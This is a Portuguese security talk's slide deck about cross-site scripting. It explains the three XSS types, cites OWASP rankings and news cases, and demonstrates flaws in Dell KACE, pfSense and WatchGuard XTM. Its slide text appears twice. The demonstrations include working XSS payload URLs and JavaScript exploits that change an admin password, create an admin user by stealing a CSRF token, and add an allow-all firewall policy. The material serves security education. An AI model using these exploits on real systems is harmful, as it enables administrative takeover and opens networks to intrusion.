Quem tem medo de XSS?
William Costa
Composição do XSS
Os XSS’s normalmente são divididos em 3 categorias.
Reflected XSS
Stored XSS
DOM Based XSS
Teoria
Reflected XSS
4
Quando o usuário envia uma requisição durante uma consulta em uma
pagina de pesquisa ou em uma variável.
Ex: http://www.vulneravel.com.br/noticias/?tipo=R"><script>alert("Reflected
XSS")</script>
Stored XSS
5
Isso ocorre quando o Script e salvo no servidor sendo assim carregado
a cada vez que a pagina for acessada.
Ex: Mensagem em um fórum, formulares de compras, entre outros
Após adicionar o comentário
qualquer pessoa que acesse o
Fórum recebem a tela
DOM XSS
6
O DOM XSS é quando é inserido o payload dentro de uma variável
utilizada por um script
Ex: Campos de interação em tempo real.
<img src=search onerror=alert('DOM_XSS')>
O XSS aparece no top 10 do OWASP
desde seu primeiro relatório.
7
OWASP Top 10 – 2003
Top Vulnerabilities in Web Applications
A1 Unvalidated Parameters
A2 Broken Access Control
A3 Broken Account and Session Management
A4 Cross-Site Scripting (XSS) Flaws
A5 Buffer Overflows
A6 Command Injection Flaws
A7 Error Handling Problems
A8 Insecure Use of Cryptography
A9 Remote Administration Flaws
A10 Web and Application Server Misconfiguration
Fonte:https://www.owasp.org/index.php/2004_Updates_OW
ASP_Top_Ten_Project
E após uma década ele continua
entre os 10.
8
OWASP Top 10 – 2013 (New)
A1 – Injection
A2 – Broken Authentication and Session Management
A3 – Cross-Site Scripting (XSS)
A4 – Insecure Direct Object References
A5 – Security Misconfiguration
A6 – Sensitive Data Exposure
A7 – Missing Function Level Access Control
A8 – Cross-Site Request Forgery (CSRF)
A9 – Using Known Vulnerable Components
A10 – Unvalidated Redirects and Forwards
Fonte:http://owasptop10.googlecode.com/files/OWASP Top
10 - 2013.pdf
Como são apresentadas as
Falhas de XSS:
9
Como normalmente é apresentando o Impacto do XSS:
10
Como elas deferiam ser apresentadas:
11
Quais são realmente os possíveis Impactos:
12
XSS na mídia.
13
Twitter shuts down Tweetdeck after XSS flaw leaves users vulnerable to
account hijack
Fonte: http://www.theguardian.com/technology/2014/jun/11/twitter-
tweetdeck-xss-flaw-users-vulnerable
XSS na mídia.
14
Researcher Gets $5,000 for XSS Flaw in Google Apps Admin Console
Fonte: http://www.securityweek.com/researcher-gets-5000-xss-flaw-
google-apps-admin-console
XSS na mídia.
15
Stored XSS in eBay messages filenames
Fonte: https://threatpost.com/a-year-later-xss-vulnerability-still-exists-in-
ebay/112493
Pratica
Falha #1 Dell KACE V.6.3.113397
17
Falha na pagina de criação de um Ticket.
Proteções:
Flag HttpOnly
Token CSRF
URL Vulnerável: /adminui/bug_report.php?location=/adminui/ticket.php?ID=20000<script>alert("XSS");</script>
Pagina onde ocorre a vulnerabilidade
18
Função Alvo para um ataque
19
Exploit para alteração da senha do
ADMIN.
20
document.write('<iframe width=0 height=0 name="xss“
src="https://uvo128qv8c8mqmdetcu.vm.cld.sr/adminui/user.php?ID=10"> </iframe>');
function append(senha)
{
window.frames['xss'].document.getElementsByName('FARRAY[PASSWORD]')[0].value="se
nha123";
window.frames['xss'].document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0
].value="senha123";
window.frames['xss'].document.UserForm.submit();
}
setTimeout("append("timeout")",2500);
Um simples Iframe já nos possibilita a alteração de senha
do usuário administrador.
Resultado:
21
Alteração da Senha do Usuário admin para “Senha123”
Falha #2 PFSENSE V. 2.2.2
22
Falha na pagina de remoção de Captives portais.
Proteções:
Token CSRF
Checagem do Header HTTP_REFERER
URL Vulnerável:
/services_captiveportal_zones.php?act=del&zone=aaaa"><script>alert(csrfMagicToken)</script>
Pagina onde ocorre a vulnerabilidade
23
Função Alvo para um ataque
24
Exploit para criação de Usuário de
Administração.
25
document.write('<iframe width=1000 height=1000 name="xss"> </iframe>');
xss.document.write('<body><form id="CSRF"
action="http://192.168.217.100/system_usermanager.php" method="post" name="CSRF">');
xss.document.write('<input name="__csrf_magic" value=""</input>');
xss.document.write('<input name="utype" value="user"> </input>');
xss.document.write('<input name="usernamefld" value="teste"> </input>');
xss.document.write('<input name="passwordfld1" value="123456"> </input>');
xss.document.write('<input name="passwordfld2" value="123456"> </input>');
xss.document.write('<input name="groups[]" value="admins"> </input>');
xss.document.write('<input name="save" value="Save"> </input>');
xss.document.write('</form>');
xss.document.write('</body>');
window.frames['xss'].document.getElementsByName('__csrf_magic')[0].value=csrfMagicToken
;
window.frames['xss'].document.CSRF.submit();
O Exploit cria um formulário dentro da pagina vulnerável obtém o TOKEN CSRF da
mesma , envia o form para a pagina de criação de usuários “bypassando” a
proteção do HTTP_REFERER
Resultado:
26
Criação de um usuário admin de nome “teste“ e senha “123456”
Falha #3 Firewall WatchGuard
XTM V. 11.10.B473826
27
Falha na pagina de Gerenciamento de Access Point.
Proteções:
Token CSRF
Flag HttpOnly
URL Vulnerável:/network/controller/ap?action=add"</script><script>alert(“XSS”)</script>
Pagina onde ocorre a vulnerabilidade
28
Função Alvo para um ataque
29
Exploit para criação de uma
politica.
30
$.ajax({
type: "POST",
url: "https://10.0.1.1:8080/put_data/",
data:
'{"__class__":"PageFirewallPolicyObj","__module__":"modules.scripts.page.firewall.PageFirewallPolicyObj","is_new":1,"pol":{"__class__":"FirewallPol
icySettingsObj","__module__":"modules.scripts.page.firewall.PageFirewallPolicyObj","name":"Exploit-Rule","enabled":true,"description":"Policy
added on 2015-05-005T18:02:38-
03:00.","property":0,"type":"Firewall","firewall":"Allowed","reject_action":"TCP_RST","from_list":[{"type":0,"address":"Any","interface":"Any","user":"Any
","user_display_info":{"type":"","name":"","auth_domain":""},"display_name":"","alias_name":"Any-External","address_type":-
1,"tunnel_type":false,"name":"","obj":null}],"to_list":[{"type":0,"address":"Any","interface":"Any","user":"Any","user_display_info":{"type":"","name":"","a
uth_domain":""},"display_name":"","alias_name":"Any-Trusted","address_type":-
1,"tunnel_type":false,"name":"","obj":null}],"policy_nat":"","proxy":"","service":"Any","schedule":"Always
On","app_action":"","forward_traffic_mgmt":"","reverse_traffic_mgmt":"","ips_monitor_enabled":true,"quota_enabled":false,"auto_block_enable
d":0,"idle_timeout":180,"idle_timeout_enabled":0,"policy_sticky_timer":0,"policy_sticky_timer_enabled":0,"using_global_sticky_setting":1,"apply_o
ne_to_one_nat_rules":1,"apply_dnat_global":1,"apply_dnat_all_traffic":0,"dnat_src_ip":"0.0.0.0","dnat_src_ip_enabled":0,"log_enabled":0,"snmp
_enabled":0,"notification_enabled":0,"notification_type":0,"launch_interval":900,"repeat_count":10,"enable_qos":0,"marking_field":1,"marking_
method":0,"dscp_value":0,"precedence_value":0,"priority_method":1,"priority":0,"proxy_qos":0,"audio_priority":0,"video_priority":0,"data_priority":
0,"pbr_enabled":0,"pbr_interface":"","failover_enabled":0,"abs_policy_routing":[],"connection_rate_enabled":0,"connection_rate":100,"use_poli
cy_based_icmp":0,"pmtu_discovery":1,"time_exceeded":1,"network_unreachable":1,"host_unreachable":1,"port_unreachable":1,"protocol_unr
eachable":1,"tag_list":[]},"page_security_app_control_config_obj":null,"page_firewall_scheduling_config_obj":null,"schedule_predefined_flag":
1,"page_firewall_proxy_aciton_obj":null,"proxy_action_predefined_flag":0,"global_ips_enabled":false,"global_quota_enabled":false,"alias_user
_hash":{},"proxy_policy_flag":false,"proxy_actions":[],"app_actions":[],"global_qos_enable":false,"port_protocol_settings":[{"protocol":"Any","port"
:""}],"proxy_type":"","multi_wan_enabled":0,"multiwan_algo":0,"ext_interfaces":[{"if_dev_name":"eth0","data":"External","name":"External","if_num"
:0}],"vif_list":[],"helper_intf_list":[],"helper_tunnel_list":[],"helper_alias_list":[],"helper_fw_group_list":[],"helper_fw_user_list":[],"helper_pptp_group_list
":[],"helper_pptp_user_list":[],"helper_sslvpn_group_list":[],"helper_sslvpn_user_list":[],"helper_user_group_list":[],"external_ip_list":[],"helper_snat_list
":[],"helper_slb_list":[],"traffic_mgmt_enabled":false,"helper_tm_actions":[],"helper_tag_list":[],"helper_schedule_list":[],"helper_app_action_list":[],
"rip_enabled":false,"ospf_enabled":false,"bgp_enabled":false}',
contentType: "application/json; charset=UTF-8",
accept: "*/*",
dataType: "json",
Vamos usar uma função JSON que
envie via post todas informações
necessárias para criação de uma
politica que permita tudo de fora para
dentro da rede.
Resultado:
31
Criação de uma politica permitindo tudo da rede externa (ALL) para a
rede interna (ALL) com todos os protocolos (ALL).
Conclusões
32
As vulnerabilidades de XSS podem ir muito além de uma
simples mensagem na tela do usuário, podemos envolver a
criação de usuários, envio de e-mails, alterações de
configurações que tem um impacto muito maior que o
apresentado aos tomadores de decisões na área de Segurança
das Organizações.
OBRIGADO!
William Costa
Email:william.costa@gmail.com
Twitter: willcosta

Quem tem medo do XSS ? MindThe Sec

  • 1.
    Quem tem medode XSS? William Costa
  • 2.
    Composição do XSS OsXSS’s normalmente são divididos em 3 categorias. Reflected XSS Stored XSS DOM Based XSS
  • 3.
  • 4.
    Reflected XSS 4 Quando ousuário envia uma requisição durante uma consulta em uma pagina de pesquisa ou em uma variável. Ex: http://www.vulneravel.com.br/noticias/?tipo=R"><script>alert("Reflected XSS")</script>
  • 5.
    Stored XSS 5 Isso ocorrequando o Script e salvo no servidor sendo assim carregado a cada vez que a pagina for acessada. Ex: Mensagem em um fórum, formulares de compras, entre outros Após adicionar o comentário qualquer pessoa que acesse o Fórum recebem a tela
  • 6.
    DOM XSS 6 O DOMXSS é quando é inserido o payload dentro de uma variável utilizada por um script Ex: Campos de interação em tempo real. <img src=search onerror=alert('DOM_XSS')>
  • 7.
    O XSS apareceno top 10 do OWASP desde seu primeiro relatório. 7 OWASP Top 10 – 2003 Top Vulnerabilities in Web Applications A1 Unvalidated Parameters A2 Broken Access Control A3 Broken Account and Session Management A4 Cross-Site Scripting (XSS) Flaws A5 Buffer Overflows A6 Command Injection Flaws A7 Error Handling Problems A8 Insecure Use of Cryptography A9 Remote Administration Flaws A10 Web and Application Server Misconfiguration Fonte:https://www.owasp.org/index.php/2004_Updates_OW ASP_Top_Ten_Project
  • 8.
    E após umadécada ele continua entre os 10. 8 OWASP Top 10 – 2013 (New) A1 – Injection A2 – Broken Authentication and Session Management A3 – Cross-Site Scripting (XSS) A4 – Insecure Direct Object References A5 – Security Misconfiguration A6 – Sensitive Data Exposure A7 – Missing Function Level Access Control A8 – Cross-Site Request Forgery (CSRF) A9 – Using Known Vulnerable Components A10 – Unvalidated Redirects and Forwards Fonte:http://owasptop10.googlecode.com/files/OWASP Top 10 - 2013.pdf
  • 9.
    Como são apresentadasas Falhas de XSS: 9
  • 10.
    Como normalmente éapresentando o Impacto do XSS: 10
  • 11.
    Como elas deferiamser apresentadas: 11
  • 12.
    Quais são realmenteos possíveis Impactos: 12
  • 13.
    XSS na mídia. 13 Twittershuts down Tweetdeck after XSS flaw leaves users vulnerable to account hijack Fonte: http://www.theguardian.com/technology/2014/jun/11/twitter- tweetdeck-xss-flaw-users-vulnerable
  • 14.
    XSS na mídia. 14 ResearcherGets $5,000 for XSS Flaw in Google Apps Admin Console Fonte: http://www.securityweek.com/researcher-gets-5000-xss-flaw- google-apps-admin-console
  • 15.
    XSS na mídia. 15 StoredXSS in eBay messages filenames Fonte: https://threatpost.com/a-year-later-xss-vulnerability-still-exists-in- ebay/112493
  • 16.
  • 17.
    Falha #1 DellKACE V.6.3.113397 17 Falha na pagina de criação de um Ticket. Proteções: Flag HttpOnly Token CSRF URL Vulnerável: /adminui/bug_report.php?location=/adminui/ticket.php?ID=20000<script>alert("XSS");</script>
  • 18.
    Pagina onde ocorrea vulnerabilidade 18
  • 19.
    Função Alvo paraum ataque 19
  • 20.
    Exploit para alteraçãoda senha do ADMIN. 20 document.write('<iframe width=0 height=0 name="xss“ src="https://uvo128qv8c8mqmdetcu.vm.cld.sr/adminui/user.php?ID=10"> </iframe>'); function append(senha) { window.frames['xss'].document.getElementsByName('FARRAY[PASSWORD]')[0].value="se nha123"; window.frames['xss'].document.getElementsByName('FARRAY[PASSWORD_CONFIRM]')[0 ].value="senha123"; window.frames['xss'].document.UserForm.submit(); } setTimeout("append("timeout")",2500); Um simples Iframe já nos possibilita a alteração de senha do usuário administrador.
  • 21.
    Resultado: 21 Alteração da Senhado Usuário admin para “Senha123”
  • 22.
    Falha #2 PFSENSEV. 2.2.2 22 Falha na pagina de remoção de Captives portais. Proteções: Token CSRF Checagem do Header HTTP_REFERER URL Vulnerável: /services_captiveportal_zones.php?act=del&zone=aaaa"><script>alert(csrfMagicToken)</script>
  • 23.
    Pagina onde ocorrea vulnerabilidade 23
  • 24.
    Função Alvo paraum ataque 24
  • 25.
    Exploit para criaçãode Usuário de Administração. 25 document.write('<iframe width=1000 height=1000 name="xss"> </iframe>'); xss.document.write('<body><form id="CSRF" action="http://192.168.217.100/system_usermanager.php" method="post" name="CSRF">'); xss.document.write('<input name="__csrf_magic" value=""</input>'); xss.document.write('<input name="utype" value="user"> </input>'); xss.document.write('<input name="usernamefld" value="teste"> </input>'); xss.document.write('<input name="passwordfld1" value="123456"> </input>'); xss.document.write('<input name="passwordfld2" value="123456"> </input>'); xss.document.write('<input name="groups[]" value="admins"> </input>'); xss.document.write('<input name="save" value="Save"> </input>'); xss.document.write('</form>'); xss.document.write('</body>'); window.frames['xss'].document.getElementsByName('__csrf_magic')[0].value=csrfMagicToken ; window.frames['xss'].document.CSRF.submit(); O Exploit cria um formulário dentro da pagina vulnerável obtém o TOKEN CSRF da mesma , envia o form para a pagina de criação de usuários “bypassando” a proteção do HTTP_REFERER
  • 26.
    Resultado: 26 Criação de umusuário admin de nome “teste“ e senha “123456”
  • 27.
    Falha #3 FirewallWatchGuard XTM V. 11.10.B473826 27 Falha na pagina de Gerenciamento de Access Point. Proteções: Token CSRF Flag HttpOnly URL Vulnerável:/network/controller/ap?action=add"</script><script>alert(“XSS”)</script>
  • 28.
    Pagina onde ocorrea vulnerabilidade 28
  • 29.
    Função Alvo paraum ataque 29
  • 30.
    Exploit para criaçãode uma politica. 30 $.ajax({ type: "POST", url: "https://10.0.1.1:8080/put_data/", data: '{"__class__":"PageFirewallPolicyObj","__module__":"modules.scripts.page.firewall.PageFirewallPolicyObj","is_new":1,"pol":{"__class__":"FirewallPol icySettingsObj","__module__":"modules.scripts.page.firewall.PageFirewallPolicyObj","name":"Exploit-Rule","enabled":true,"description":"Policy added on 2015-05-005T18:02:38- 03:00.","property":0,"type":"Firewall","firewall":"Allowed","reject_action":"TCP_RST","from_list":[{"type":0,"address":"Any","interface":"Any","user":"Any ","user_display_info":{"type":"","name":"","auth_domain":""},"display_name":"","alias_name":"Any-External","address_type":- 1,"tunnel_type":false,"name":"","obj":null}],"to_list":[{"type":0,"address":"Any","interface":"Any","user":"Any","user_display_info":{"type":"","name":"","a uth_domain":""},"display_name":"","alias_name":"Any-Trusted","address_type":- 1,"tunnel_type":false,"name":"","obj":null}],"policy_nat":"","proxy":"","service":"Any","schedule":"Always On","app_action":"","forward_traffic_mgmt":"","reverse_traffic_mgmt":"","ips_monitor_enabled":true,"quota_enabled":false,"auto_block_enable d":0,"idle_timeout":180,"idle_timeout_enabled":0,"policy_sticky_timer":0,"policy_sticky_timer_enabled":0,"using_global_sticky_setting":1,"apply_o ne_to_one_nat_rules":1,"apply_dnat_global":1,"apply_dnat_all_traffic":0,"dnat_src_ip":"0.0.0.0","dnat_src_ip_enabled":0,"log_enabled":0,"snmp _enabled":0,"notification_enabled":0,"notification_type":0,"launch_interval":900,"repeat_count":10,"enable_qos":0,"marking_field":1,"marking_ method":0,"dscp_value":0,"precedence_value":0,"priority_method":1,"priority":0,"proxy_qos":0,"audio_priority":0,"video_priority":0,"data_priority": 0,"pbr_enabled":0,"pbr_interface":"","failover_enabled":0,"abs_policy_routing":[],"connection_rate_enabled":0,"connection_rate":100,"use_poli cy_based_icmp":0,"pmtu_discovery":1,"time_exceeded":1,"network_unreachable":1,"host_unreachable":1,"port_unreachable":1,"protocol_unr eachable":1,"tag_list":[]},"page_security_app_control_config_obj":null,"page_firewall_scheduling_config_obj":null,"schedule_predefined_flag": 1,"page_firewall_proxy_aciton_obj":null,"proxy_action_predefined_flag":0,"global_ips_enabled":false,"global_quota_enabled":false,"alias_user _hash":{},"proxy_policy_flag":false,"proxy_actions":[],"app_actions":[],"global_qos_enable":false,"port_protocol_settings":[{"protocol":"Any","port" :""}],"proxy_type":"","multi_wan_enabled":0,"multiwan_algo":0,"ext_interfaces":[{"if_dev_name":"eth0","data":"External","name":"External","if_num" :0}],"vif_list":[],"helper_intf_list":[],"helper_tunnel_list":[],"helper_alias_list":[],"helper_fw_group_list":[],"helper_fw_user_list":[],"helper_pptp_group_list ":[],"helper_pptp_user_list":[],"helper_sslvpn_group_list":[],"helper_sslvpn_user_list":[],"helper_user_group_list":[],"external_ip_list":[],"helper_snat_list ":[],"helper_slb_list":[],"traffic_mgmt_enabled":false,"helper_tm_actions":[],"helper_tag_list":[],"helper_schedule_list":[],"helper_app_action_list":[], "rip_enabled":false,"ospf_enabled":false,"bgp_enabled":false}', contentType: "application/json; charset=UTF-8", accept: "*/*", dataType: "json", Vamos usar uma função JSON que envie via post todas informações necessárias para criação de uma politica que permita tudo de fora para dentro da rede.
  • 31.
    Resultado: 31 Criação de umapolitica permitindo tudo da rede externa (ALL) para a rede interna (ALL) com todos os protocolos (ALL).
  • 32.
    Conclusões 32 As vulnerabilidades deXSS podem ir muito além de uma simples mensagem na tela do usuário, podemos envolver a criação de usuários, envio de e-mails, alterações de configurações que tem um impacto muito maior que o apresentado aos tomadores de decisões na área de Segurança das Organizações.
  • 33.